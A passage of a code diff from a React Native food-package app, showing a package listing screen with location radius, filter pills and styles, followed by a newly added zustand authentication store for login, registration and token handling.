await client.post('/notifications/register', {
|
||||||
|
token: fcmToken,
|
||||||
|
});
|
||||||
|
|
||||||
|
setNotifEnabled(true);
|
||||||
|
await AsyncStorage.setItem('@bereketli_notif_enabled', 'true');
|
||||||
|
Alert.alert(t('packages.notificationsEnabled'), t('packages.notificationsEnabledMsg'));
|
||||||
|
} catch (err: any) {
|
||||||
|
const msg = err?.response?.data?.message || err?.message || t('packages.notificationRegisterFailed');
|
||||||
|
Alert.alert(t('common.error'), msg);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const fetchPackages = useCallback(async () => {
|
||||||
|
setLoading(true);
|
||||||
|
try {
|
||||||
|
let data: PackageNearby[];
|
||||||
|
if (radius === 0) {
|
||||||
|
// "Tümü" — show all packages regardless of location
|
||||||
|
data = await packagesApi.getAllPackages(category === 'all' ? undefined : category);
|
||||||
|
} else if (latitude && longitude) {
|
||||||
|
// Real location + real radius
|
||||||
|
data = await packagesApi.getNearbyPackages(
|
||||||
|
latitude,
|
||||||
|
longitude,
|
||||||
|
radius,
|
||||||
|
category === 'all' ? undefined : category,
|
||||||
|
);
|
||||||
|
} else {
|
||||||
|
// No location — can only show "Tümü"
|
||||||
|
data = [];
|
||||||
|
}
|
||||||
|
setPackages(data);
|
||||||
|
} catch {
|
||||||
|
setPackages([]);
|
||||||
|
} finally {
|
||||||
|
setLoading(false);
|
||||||
|
}
|
||||||
|
}, [latitude, longitude, category, radius]);
|
||||||
|
|
||||||
|
// Prefetch category images on mount for faster loading
|
||||||
|
useEffect(() => {
|
||||||
|
CATEGORIES.forEach(cat => {
|
||||||
|
if (cat.image) {
|
||||||
|
Image.prefetch(cat.image).catch(() => {});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
updateLocation();
|
||||||
|
// eslint-disable-next-line react-hooks/exhaustive-deps -- updateLocation is a stable zustand store action
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
fetchPackages();
|
||||||
|
}, [fetchPackages]);
|
||||||
|
|
||||||
|
const handlePackagePress = (item: PackageNearby) => {
|
||||||
|
navigation.navigate('PackageDetail', {
|
||||||
|
packageId: item.id,
|
||||||
|
storeName: item.store_name,
|
||||||
|
storeAddress: item.store_address,
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
const openFilterModal = (section?: FilterSection) => {
|
||||||
|
setFilterSection(section);
|
||||||
|
setFilterVisible(true);
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleFilterApply = (filter: FilterState) => {
|
||||||
|
setActiveFilter(filter);
|
||||||
|
};
|
||||||
|
|
||||||
|
// Apply client-side filtering
|
||||||
|
let filteredPackages = [...packages];
|
||||||
|
|
||||||
|
if (activeFilter) {
|
||||||
|
// Delivery filter
|
||||||
|
if (activeFilter.hasDelivery) {
|
||||||
|
filteredPackages = filteredPackages.filter(p => p.delivery_available === true);
|
||||||
|
}
|
||||||
|
// Discount filter
|
||||||
|
if (activeFilter.discounted) {
|
||||||
|
filteredPackages = filteredPackages.filter(p => p.price < p.original_value);
|
||||||
|
}
|
||||||
|
// Last few remaining
|
||||||
|
if (activeFilter.lastFew) {
|
||||||
|
filteredPackages = filteredPackages.filter(p => p.remaining <= 3);
|
||||||
|
}
|
||||||
|
// Price range
|
||||||
|
if (activeFilter.priceRange[1] < 500) {
|
||||||
|
filteredPackages = filteredPackages.filter(
|
||||||
|
p => p.price >= activeFilter!.priceRange[0] && p.price <= activeFilter!.priceRange[1],
|
||||||
|
);
|
||||||
|
}
|
||||||
|
// Sort
|
||||||
|
if (activeFilter.sort === 'price') {
|
||||||
|
filteredPackages = [...filteredPackages].sort((a, b) => a.price - b.price);
|
||||||
|
} else if (activeFilter.sort === 'distance') {
|
||||||
|
filteredPackages = [...filteredPackages].sort((a, b) => (a.distance_m || 99999) - (b.distance_m || 99999));
|
||||||
|
} else if (activeFilter.sort === 'rating') {
|
||||||
|
filteredPackages = [...filteredPackages].sort((a, b) => b.store_rating - a.store_rating);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const activeFilterCount = activeFilter
|
||||||
|
? [
|
||||||
|
activeFilter.sort !== 'recommended',
|
||||||
|
activeFilter.hasDelivery,
|
||||||
|
activeFilter.lastFew,
|
||||||
|
activeFilter.discounted,
|
||||||
|
activeFilter.priceRange[1] < 500,
|
||||||
|
].filter(Boolean).length
|
||||||
|
: 0;
|
||||||
|
|
||||||
|
const renderScrollHeader = () => (
|
||||||
|
<>
|
||||||
|
{/* ── Filter Pills (Yemeksepeti style — each pill is independent) ── */}
|
||||||
|
<View style={styles.filterBar}>
|
||||||
|
<ScrollView
|
||||||
|
horizontal
|
||||||
|
showsHorizontalScrollIndicator={false}
|
||||||
|
contentContainerStyle={styles.filterList}>
|
||||||
|
{/* Filter icon — opens full modal */}
|
||||||
|
<TouchableOpacity
|
||||||
|
style={[styles.filterPill, activeFilterCount > 0 && styles.filterPillActive]}
|
||||||
|
onPress={() => openFilterModal()}>
|
||||||
|
<Text style={styles.filterPillIcon}>⚙️</Text>
|
||||||
|
{activeFilterCount > 0 && (
|
||||||
|
<View style={styles.filterBadge}>
|
||||||
|
<Text style={styles.filterBadgeText}>{activeFilterCount}</Text>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
</TouchableOpacity>
|
||||||
|
|
||||||
|
{/* Sıralama — dropdown pill */}
|
||||||
|
<TouchableOpacity
|
||||||
|
style={[styles.filterPill, activeFilter?.sort !== 'recommended' && activeFilter?.sort != null && styles.filterPillActive]}
|
||||||
|
onPress={() => openFilterModal('sort')}>
|
||||||
|
<Text style={[styles.filterPillLabel, activeFilter?.sort !== 'recommended' && activeFilter?.sort != null && styles.filterPillLabelActive]}>
|
||||||
|
{activeFilter?.sort === 'distance' ? t('packages.sortDistance') :
|
||||||
|
activeFilter?.sort === 'price' ? t('packages.sortPrice') :
|
||||||
|
activeFilter?.sort === 'rating' ? t('packages.sortRating') : t('packages.sortLabel')}
|
||||||
|
</Text>
|
||||||
|
<Text style={[styles.filterPillArrow, activeFilter?.sort !== 'recommended' && activeFilter?.sort != null && styles.filterPillArrowActive]}>▾</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
|
||||||
|
{/* Teslimat var — toggle pill */}
|
||||||
|
<TouchableOpacity
|
||||||
|
style={[styles.filterPill, activeFilter?.hasDelivery && styles.filterPillActive]}
|
||||||
|
onPress={() => {
|
||||||
|
setActiveFilter(f => f
|
||||||
|
? {...f, hasDelivery: !f.hasDelivery}
|
||||||
|
: {sort: 'recommended', hasDelivery: true, lastFew: false, discounted: false, payment: 'all', priceRange: [0, 500]},
|
||||||
|
);
|
||||||
|
}}>
|
||||||
|
<Text style={[styles.filterPillLabel, activeFilter?.hasDelivery && styles.filterPillLabelActive]}>🛵 {t('packages.delivery')}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
|
||||||
|
{/* İndirimli — toggle pill */}
|
||||||
|
<TouchableOpacity
|
||||||
|
style={[styles.filterPill, activeFilter?.discounted && styles.filterPillActive]}
|
||||||
|
onPress={() => {
|
||||||
|
setActiveFilter(f => f
|
||||||
|
? {...f, discounted: !f.discounted}
|
||||||
|
: {sort: 'recommended', hasDelivery: false, lastFew: false, discounted: true, payment: 'all', priceRange: [0, 500]},
|
||||||
|
);
|
||||||
|
}}>
|
||||||
|
<Text style={[styles.filterPillLabel, activeFilter?.discounted && styles.filterPillLabelActive]}>🏷️ {t('packages.discounted')}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
|
||||||
|
{/* Son birkaç — toggle pill */}
|
||||||
|
<TouchableOpacity
|
||||||
|
style={[styles.filterPill, activeFilter?.lastFew && styles.filterPillActive]}
|
||||||
|
onPress={() => {
|
||||||
|
setActiveFilter(f => f
|
||||||
|
? {...f, lastFew: !f.lastFew}
|
||||||
|
: {sort: 'recommended', hasDelivery: false, lastFew: true, discounted: false, payment: 'all', priceRange: [0, 500]},
|
||||||
|
);
|
||||||
|
}}>
|
||||||
|
<Text style={[styles.filterPillLabel, activeFilter?.lastFew && styles.filterPillLabelActive]}>🔥 {t('packages.lastFew')}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
|
||||||
|
{/* Fiyat Aralığı — dropdown pill */}
|
||||||
|
<TouchableOpacity
|
||||||
|
style={[styles.filterPill, activeFilter?.priceRange[1] != null && activeFilter.priceRange[1] < 500 && styles.filterPillActive]}
|
||||||
|
onPress={() => openFilterModal('price')}>
|
||||||
|
<Text style={[styles.filterPillLabel, activeFilter?.priceRange[1] != null && activeFilter.priceRange[1] < 500 && styles.filterPillLabelActive]}>
|
||||||
|
{activeFilter?.priceRange[1] != null && activeFilter.priceRange[1] < 500
|
||||||
|
? `${activeFilter.priceRange[0]}-${activeFilter.priceRange[1]} TL`
|
||||||
|
: t('packages.priceRange')}
|
||||||
|
</Text>
|
||||||
|
<Text style={styles.filterPillArrow}>▾</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</ScrollView>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* ── Distance Control ── */}
|
||||||
|
<View style={styles.distanceSection}>
|
||||||
|
<View style={styles.distanceHeader}>
|
||||||
|
<Text style={styles.distanceLabel}>📍 {t('common.distance')}</Text>
|
||||||
|
<Text style={styles.distanceValue}>
|
||||||
|
{radius === 0 ? t('common.all') : radius >= 1000 ? `${(radius / 1000).toFixed(1)} km` : `${radius}m`}
|
||||||
|
</Text>
|
||||||
|
</View>
|
||||||
|
<View style={styles.distanceSliderRow}>
|
||||||
|
{([500, 1000, 2000, 3000, 5000, 0] as number[]).map(r => (
|
||||||
|
<TouchableOpacity
|
||||||
|
key={r}
|
||||||
|
style={[styles.distanceChip, radius === r && styles.distanceChipActive]}
|
||||||
|
onPress={() => setRadius(r)}>
|
||||||
|
<Text style={[styles.distanceChipText, radius === r && styles.distanceChipTextActive]}>
|
||||||
|
{r === 0 ? t('common.all') : r >= 1000 ? `${r / 1000}km` : `${r}m`}
|
||||||
|
</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
))}
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* ── Referral Banner ── */}
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.referralBanner}
|
||||||
|
onPress={() => navigation.navigate('Referral')}
|
||||||
|
activeOpacity={0.7}>
|
||||||
|
<Text style={styles.referralBannerEmoji}>{'\uD83C\uDF81'}</Text>
|
||||||
|
<View style={styles.referralBannerText}>
|
||||||
|
<Text style={styles.referralBannerTitle}>{t('packages.referralBannerTitle')}</Text>
|
||||||
|
<Text style={styles.referralBannerDesc}>{t('packages.referralBannerDesc')}</Text>
|
||||||
|
</View>
|
||||||
|
<Text style={styles.referralBannerArrow}>{'\u2192'}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
|
||||||
|
{/* ── Announcement Banner (dynamic from API) ── */}
|
||||||
|
<AnnouncementBanner />
|
||||||
|
|
||||||
|
{/* ── Category Icons ── */}
|
||||||
|
<View style={styles.categorySection}>
|
||||||
|
<ScrollView
|
||||||
|
horizontal
|
||||||
|
showsHorizontalScrollIndicator={false}
|
||||||
|
contentContainerStyle={styles.categoryList}>
|
||||||
|
{CATEGORIES.map(cat => (
|
||||||
|
<TouchableOpacity
|
||||||
|
key={cat.key}
|
||||||
|
style={styles.categoryItem}
|
||||||
|
onPress={() => setCategory(cat.key)}
|
||||||
|
activeOpacity={0.7}>
|
||||||
|
<View
|
||||||
|
style={[
|
||||||
|
styles.categoryCircle,
|
||||||
|
{backgroundColor: cat.color + '15'},
|
||||||
|
category === cat.key && {
|
||||||
|
borderWidth: 2.5,
|
||||||
|
borderColor: cat.color,
|
||||||
|
},
|
||||||
|
]}>
|
||||||
|
<CategoryImage uri={cat.image} icon={cat.icon} />
|
||||||
|
</View>
|
||||||
|
<Text
|
||||||
|
style={[
|
||||||
|
styles.categoryLabel,
|
||||||
|
category === cat.key && {color: cat.color, fontWeight: '700'},
|
||||||
|
]}>
|
||||||
|
{t(cat.labelKey)}
|
||||||
|
</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
))}
|
||||||
|
</ScrollView>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* ── Section Title ── */}
|
||||||
|
<View style={styles.sectionHeader}>
|
||||||
|
<Text style={styles.sectionTitle}>
|
||||||
|
{category === 'all'
|
||||||
|
? t('packages.nearbyPackages')
|
||||||
|
: t('packages.categoryPackages', {category: t(CATEGORIES.find(c => c.key === category)?.labelKey || 'common.all')})}
|
||||||
|
</Text>
|
||||||
|
{filteredPackages.length > 0 && (
|
||||||
|
<Text style={styles.sectionCount}>{t('packages.packageCount', {count: filteredPackages.length})}</Text>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
</>
|
||||||
|
);
|
||||||
|
|
||||||
|
useFocusEffect(
|
||||||
|
useCallback(() => {
|
||||||
|
StatusBar.setBarStyle('light-content');
|
||||||
|
StatusBar.setBackgroundColor(colors.primary);
|
||||||
|
}, []),
|
||||||
|
);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<View style={styles.container}>
|
||||||
|
|
||||||
|
{/* ── Sticky Header (sabit) ── */}
|
||||||
|
<View style={[styles.header, {paddingTop: insets.top + 8}]}>
|
||||||
|
<View style={styles.locationRow}>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.locationLeft}
|
||||||
|
onPress={() => navigation.navigate('LocationPicker')}
|
||||||
|
activeOpacity={0.7}>
|
||||||
|
<Text style={styles.locationPin}>📍</Text>
|
||||||
|
<View style={styles.locationTextContainer}>
|
||||||
|
<Text style={styles.locationLabel}>{t('packages.deliveryAddress')}</Text>
|
||||||
|
<Text style={styles.locationAddress} numberOfLines={1}>
|
||||||
|
{address || (latitude && longitude ? `${latitude.toFixed(4)}, ${longitude.toFixed(4)}` : t('packages.selectLocation'))}
|
||||||
|
</Text>
|
||||||
|
</View>
|
||||||
|
</TouchableOpacity>
|
||||||
|
<TouchableOpacity style={styles.headerIconBtn} onPress={() => navigation.navigate('AiChat')}>
|
||||||
|
<Icon name="robot" size={20} color="#FFFFFF" />
|
||||||
|
<Text style={styles.aiLabel}>AI</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
<TouchableOpacity style={styles.headerIconBtn} onPress={handleNotificationToggle}>
|
||||||
|
<Text style={styles.headerIcon}>{notifEnabled ? '🔔' : '🔕'}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.searchBar}
|
||||||
|
onPress={() => navigation.navigate('Search')}
|
||||||
|
activeOpacity={0.8}>
|
||||||
|
<Text style={styles.searchIcon}>🔍</Text>
|
||||||
|
<Text style={styles.searchPlaceholder}>{t('packages.searchPlaceholder')}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
<OfflineBanner />
|
||||||
|
|
||||||
|
{/* ── Scrollable Content ── */}
|
||||||
|
<FlatList
|
||||||
|
data={filteredPackages}
|
||||||
|
keyExtractor={item => item.id}
|
||||||
|
renderItem={({item}) => (
|
||||||
|
<View style={styles.cardWrapper}>
|
||||||
|
<PackageCard item={item} onPress={() => handlePackagePress(item)} />
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
ListHeaderComponent={renderScrollHeader}
|
||||||
|
contentContainerStyle={styles.list}
|
||||||
|
refreshControl={
|
||||||
|
<RefreshControl
|
||||||
|
refreshing={loading}
|
||||||
|
onRefresh={fetchPackages}
|
||||||
|
colors={[colors.primary]}
|
||||||
|
progressViewOffset={120}
|
||||||
|
/>
|
||||||
|
}
|
||||||
|
ListEmptyComponent={
|
||||||
|
!loading ? (
|
||||||
|
<View style={styles.empty}>
|
||||||
|
<View style={styles.emptyIconContainer}>
|
||||||
|
<Text style={styles.emptyIconText}>🛍️</Text>
|
||||||
|
</View>
|
||||||
|
<Text style={styles.emptyTitle}>{t('packages.emptyTitle')}</Text>
|
||||||
|
<Text style={styles.emptyText}>
|
||||||
|
{t('packages.emptyText')}
|
||||||
|
</Text>
|
||||||
|
</View>
|
||||||
|
) : null
|
||||||
|
}
|
||||||
|
/>
|
||||||
|
|
||||||
|
{/* Filter Modal */}
|
||||||
|
<FilterModal
|
||||||
|
visible={filterVisible}
|
||||||
|
onClose={() => setFilterVisible(false)}
|
||||||
|
onApply={handleFilterApply}
|
||||||
|
initialFilter={activeFilter || undefined}
|
||||||
|
initialSection={filterSection}
|
||||||
|
/>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {flex: 1, backgroundColor: '#F8F8F8'},
|
||||||
|
|
||||||
|
// ── Header ──
|
||||||
|
header: {
|
||||||
|
backgroundColor: colors.primary,
|
||||||
|
paddingBottom: 16,
|
||||||
|
paddingHorizontal: 16,
|
||||||
|
},
|
||||||
|
locationRow: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
justifyContent: 'space-between',
|
||||||
|
alignItems: 'center',
|
||||||
|
marginBottom: 12,
|
||||||
|
},
|
||||||
|
locationLeft: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
gap: 8,
|
||||||
|
flex: 1,
|
||||||
|
},
|
||||||
|
locationPin: {fontSize: 20},
|
||||||
|
locationTextContainer: {
|
||||||
|
flex: 1,
|
||||||
|
},
|
||||||
|
locationLabel: {
|
||||||
|
fontSize: 11,
|
||||||
|
color: 'rgba(255,255,255,0.7)',
|
||||||
|
fontWeight: '500',
|
||||||
|
},
|
||||||
|
locationAddress: {
|
||||||
|
fontSize: 15,
|
||||||
|
color: '#FFFFFF',
|
||||||
|
fontWeight: '700',
|
||||||
|
},
|
||||||
|
headerIconBtn: {
|
||||||
|
width: 40,
|
||||||
|
height: 40,
|
||||||
|
borderRadius: 20,
|
||||||
|
backgroundColor: 'rgba(255,255,255,0.15)',
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
headerIcon: {fontSize: 18},
|
||||||
|
aiLabel: {fontSize: 8, fontWeight: '700', color: '#FFFFFF', marginTop: 1},
|
||||||
|
|
||||||
|
// ── Search ──
|
||||||
|
searchBar: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
borderRadius: 12,
|
||||||
|
paddingHorizontal: 14,
|
||||||
|
height: 46,
|
||||||
|
gap: 10,
|
||||||
|
},
|
||||||
|
searchIcon: {fontSize: 16},
|
||||||
|
searchPlaceholder: {
|
||||||
|
flex: 1,
|
||||||
|
fontSize: 14,
|
||||||
|
color: '#9CA3AF',
|
||||||
|
},
|
||||||
|
|
||||||
|
// ── Filter Pills ──
|
||||||
|
filterBar: {
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
paddingVertical: 10,
|
||||||
|
borderBottomWidth: 1,
|
||||||
|
borderBottomColor: '#F3F4F6',
|
||||||
|
},
|
||||||
|
filterList: {
|
||||||
|
paddingHorizontal: 16,
|
||||||
|
gap: 8,
|
||||||
|
},
|
||||||
|
filterPill: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
borderWidth: 1,
|
||||||
|
borderColor: '#E5E7EB',
|
||||||
|
borderRadius: 20,
|
||||||
|
paddingHorizontal: 12,
|
||||||
|
paddingVertical: 8,
|
||||||
|
gap: 4,
|
||||||
|
},
|
||||||
|
filterPillActive: {
|
||||||
|
backgroundColor: colors.primary,
|
||||||
|
borderColor: colors.primary,
|
||||||
|
},
|
||||||
|
filterPillIcon: {fontSize: 14, opacity: 0.8},
|
||||||
|
filterPillLabel: {
|
||||||
|
fontSize: 13,
|
||||||
|
fontWeight: '500',
|
||||||
|
color: '#374151',
|
||||||
|
},
|
||||||
|
filterPillLabelActive: {
|
||||||
|
color: '#FFFFFF',
|
||||||
|
},
|
||||||
|
filterPillArrow: {
|
||||||
|
fontSize: 10,
|
||||||
|
color: '#6B7280',
|
||||||
|
},
|
||||||
|
filterPillArrowActive: {
|
||||||
|
color: '#FFFFFF',
|
||||||
|
},
|
||||||
|
filterBadge: {
|
||||||
|
backgroundColor: colors.primary,
|
||||||
|
borderRadius: 8,
|
||||||
|
width: 16,
|
||||||
|
height: 16,
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
marginLeft: 2,
|
||||||
|
},
|
||||||
|
filterBadgeText: {
|
||||||
|
fontSize: 10,
|
||||||
|
fontWeight: '700',
|
||||||
|
color: '#FFFFFF',
|
||||||
|
},
|
||||||
|
|
||||||
|
// ── Distance ──
|
||||||
|
distanceSection: {
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
paddingHorizontal: 16,
|
||||||
|
paddingVertical: 12,
|
||||||
|
borderBottomWidth: 1,
|
||||||
|
borderBottomColor: '#F3F4F6',
|
||||||
|
},
|
||||||
|
distanceHeader: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
justifyContent: 'space-between',
|
||||||
|
alignItems: 'center',
|
||||||
|
marginBottom: 8,
|
||||||
|
},
|
||||||
|
distanceLabel: {
|
||||||
|
fontSize: 13,
|
||||||
|
fontWeight: '600',
|
||||||
|
color: '#374151',
|
||||||
|
},
|
||||||
|
distanceValue: {
|
||||||
|
fontSize: 13,
|
||||||
|
fontWeight: '700',
|
||||||
|
color: colors.primary,
|
||||||
|
},
|
||||||
|
distanceSliderRow: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
gap: 8,
|
||||||
|
},
|
||||||
|
distanceChip: {
|
||||||
|
flex: 1,
|
||||||
|
paddingVertical: 8,
|
||||||
|
borderRadius: 20,
|
||||||
|
backgroundColor: '#F3F4F6',
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
distanceChipActive: {
|
||||||
|
backgroundColor: colors.primary,
|
||||||
|
},
|
||||||
|
distanceChipText: {
|
||||||
|
fontSize: 12,
|
||||||
|
fontWeight: '600',
|
||||||
|
color: '#6B7280',
|
||||||
|
},
|
||||||
|
distanceChipTextActive: {
|
||||||
|
color: '#FFFFFF',
|
||||||
|
},
|
||||||
|
|
||||||
|
// ── Referral Banner ──
|
||||||
|
referralBanner: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
backgroundColor: '#2d5016',
|
||||||
|
borderRadius: 12,
|
||||||
|
padding: 12,
|
||||||
|
marginHorizontal: 16,
|
||||||
|
marginTop: 12,
|
||||||
|
},
|
||||||
|
referralBannerEmoji: {fontSize: 16, marginRight: 8},
|
||||||
|
referralBannerText: {flex: 1},
|
||||||
|
referralBannerTitle: {color: '#FFFFFF', fontWeight: '700', fontSize: 14},
|
||||||
|
referralBannerDesc: {color: 'rgba(255,255,255,0.67)', fontSize: 12},
|
||||||
|
referralBannerArrow: {color: '#FFFFFF', fontSize: 18},
|
||||||
|
|
||||||
|
// ── Banner (handled by AnnouncementBanner component) ──
|
||||||
|
|
||||||
|
// ── Categories ──
|
||||||
|
categorySection: {
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
marginTop: 12,
|
||||||
|
paddingVertical: 16,
|
||||||
|
},
|
||||||
|
categoryList: {
|
||||||
|
paddingHorizontal: 16,
|
||||||
|
gap: 20,
|
||||||
|
},
|
||||||
|
categoryItem: {
|
||||||
|
alignItems: 'center',
|
||||||
|
width: 64,
|
||||||
|
},
|
||||||
|
categoryCircle: {
|
||||||
|
width: 56,
|
||||||
|
height: 56,
|
||||||
|
borderRadius: 28,
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
marginBottom: 6,
|
||||||
|
},
|
||||||
|
categoryImage: {
|
||||||
|
width: 52,
|
||||||
|
height: 52,
|
||||||
|
borderRadius: 26,
|
||||||
|
},
|
||||||
|
categoryIcon: {
|
||||||
|
fontSize: 24,
|
||||||
|
},
|
||||||
|
categoryLabel: {
|
||||||
|
fontSize: 11,
|
||||||
|
fontWeight: '600',
|
||||||
|
color: '#6B7280',
|
||||||
|
textAlign: 'center',
|
||||||
|
},
|
||||||
|
|
||||||
|
// ── Section Header ──
|
||||||
|
sectionHeader: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
justifyContent: 'space-between',
|
||||||
|
alignItems: 'center',
|
||||||
|
paddingHorizontal: 16,
|
||||||
|
paddingTop: 20,
|
||||||
|
paddingBottom: 12,
|
||||||
|
},
|
||||||
|
sectionTitle: {
|
||||||
|
fontSize: 20,
|
||||||
|
fontWeight: '700',
|
||||||
|
color: '#1A1A1A',
|
||||||
|
},
|
||||||
|
sectionCount: {
|
||||||
|
fontSize: 13,
|
||||||
|
color: '#9CA3AF',
|
||||||
|
fontWeight: '500',
|
||||||
|
},
|
||||||
|
|
||||||
|
// ── List ──
|
||||||
|
list: {
|
||||||
|
paddingBottom: 100,
|
||||||
|
},
|
||||||
|
cardWrapper: {
|
||||||
|
paddingHorizontal: 16,
|
||||||
|
},
|
||||||
|
|
||||||
|
// ── Empty State ──
|
||||||
|
empty: {
|
||||||
|
alignItems: 'center',
|
||||||
|
paddingTop: 48,
|
||||||
|
paddingHorizontal: 40,
|
||||||
|
},
|
||||||
|
emptyIconContainer: {
|
||||||
|
width: 80,
|
||||||
|
height: 80,
|
||||||
|
borderRadius: 40,
|
||||||
|
backgroundColor: '#F3F4F6',
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
marginBottom: 16,
|
||||||
|
},
|
||||||
|
emptyIconText: {fontSize: 36},
|
||||||
|
emptyTitle: {
|
||||||
|
fontSize: 18,
|
||||||
|
fontWeight: '700',
|
||||||
|
color: '#1A1A1A',
|
||||||
|
marginBottom: 8,
|
||||||
|
textAlign: 'center',
|
||||||
|
},
|
||||||
|
emptyText: {
|
||||||
|
fontSize: 14,
|
||||||
|
color: '#6B7280',
|
||||||
|
textAlign: 'center',
|
||||||
|
lineHeight: 20,
|
||||||
|
},
|
||||||
|
emptyCta: {
|
||||||
|
marginTop: 20,
|
||||||
|
backgroundColor: colors.primary,
|
||||||
|
borderRadius: 24,
|
||||||
|
paddingHorizontal: 24,
|
||||||
|
paddingVertical: 12,
|
||||||
|
},
|
||||||
|
emptyCtaText: {
|
||||||
|
fontSize: 14,
|
||||||
|
fontWeight: '700',
|
||||||
|
color: '#FFFFFF',
|
||||||
|
},
|
||||||
|
});
|
||||||
@@ -0,0 +1,83 @@
|
|||||||
|
import {create} from 'zustand';
|
||||||
|
import type {User} from '../types/models';
|
||||||
|
import * as authApi from '../api/auth';
|
||||||
|
import {clearTokens, getAccessToken} from '../api/client';
|
||||||
|
|
||||||
|
interface AuthState {
|
||||||
|
user: User | null;
|
||||||
|
isLoggedIn: boolean;
|
||||||
|
isLoading: boolean;
|
||||||
|
error: string | null;
|
||||||
|
|
||||||
|
login: (identifier: string, password: string) => Promise<void>;
|
||||||
|
register: (name: string, email: string, password: string, phone?: string, referral_code?: string) => Promise<void>;
|
||||||
|
logout: () => Promise<void>;
|
||||||
|
checkAuth: () => Promise<void>;
|
||||||
|
updateUser: (partial: Partial<User>) => void;
|
||||||
|
clearError: () => void;
|
||||||
|
setAuth: (data: { accessToken: string; refreshToken: string; user: User }) => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const useAuthStore = create<AuthState>((set) => ({
|
||||||
|
user: null,
|
||||||
|
isLoggedIn: false,
|
||||||
|
isLoading: true,
|
||||||
|
error: null,
|
||||||
|
|
||||||
|
login: async (identifier, password) => {
|
||||||
|
set({isLoading: true, error: null});
|
||||||
|
try {
|
||||||
|
const response = await authApi.login(identifier, password);
|
||||||
|
set({user: response.user, isLoggedIn: true, isLoading: false});
|
||||||
|
} catch (err: any) {
|
||||||
|
const message = err.response?.data?.message || 'Giris basarisiz';
|
||||||
|
set({error: message, isLoading: false});
|
||||||
|
throw err;
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
register: async (name, email, password, phone, referral_code) => {
|
||||||
|
set({isLoading: true, error: null});
|
||||||
|
try {
|
||||||
|
const response = await authApi.register(name, email, password, phone, referral_code);
|
||||||
|
set({user: response.user, isLoggedIn: true, isLoading: false});
|
||||||
|
} catch (err: any) {
|
||||||
|
const message = err.response?.data?.message || 'Kayit basarisiz';
|
||||||
|
set({error: message, isLoading: false});
|
||||||
|
throw err;
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
logout: async () => {
|
||||||
|
await clearTokens();
|
||||||
|
set({user: null, isLoggedIn: false, isLoading: false, error: null});
|
||||||
|
},
|
||||||
|
|
||||||
|
checkAuth: async () => {
|
||||||
|
try {
|
||||||
|
const token = await getAccessToken();
|
||||||
|
if (token) {
|
||||||
|
const user = await authApi.getMe();
|
||||||
|
set({user, isLoggedIn: true, isLoading: false});
|
||||||
|
} else {
|
||||||
|
set({isLoggedIn: false, isLoading: false});
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
set({isLoggedIn: false, isLoading: false});
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
updateUser: (partial) => set((state) => ({
|
||||||
|
user: state.user ? {...state.user, ...partial} : null,
|
||||||
|
})),
|
||||||
|
|
||||||
|
clearError: () => set({error: null}),
|
||||||
|
|
||||||
|
setAuth: (data) => {
|
||||||
|
// Store tokens for API client
|
||||||
|
import('../api/client').then(({ saveTokens }) => {
|
||||||
|
saveTokens(data.accessToken, data.refreshToken);
|
||||||
|
});
|
||||||
|
set({ user: data.user, isLoggedIn: true, isLoading: false, error: null });
|
||||||
|
},
|
||||||
|
}));
|
||||||
@@ -0,0 +1,131 @@
|
|||||||
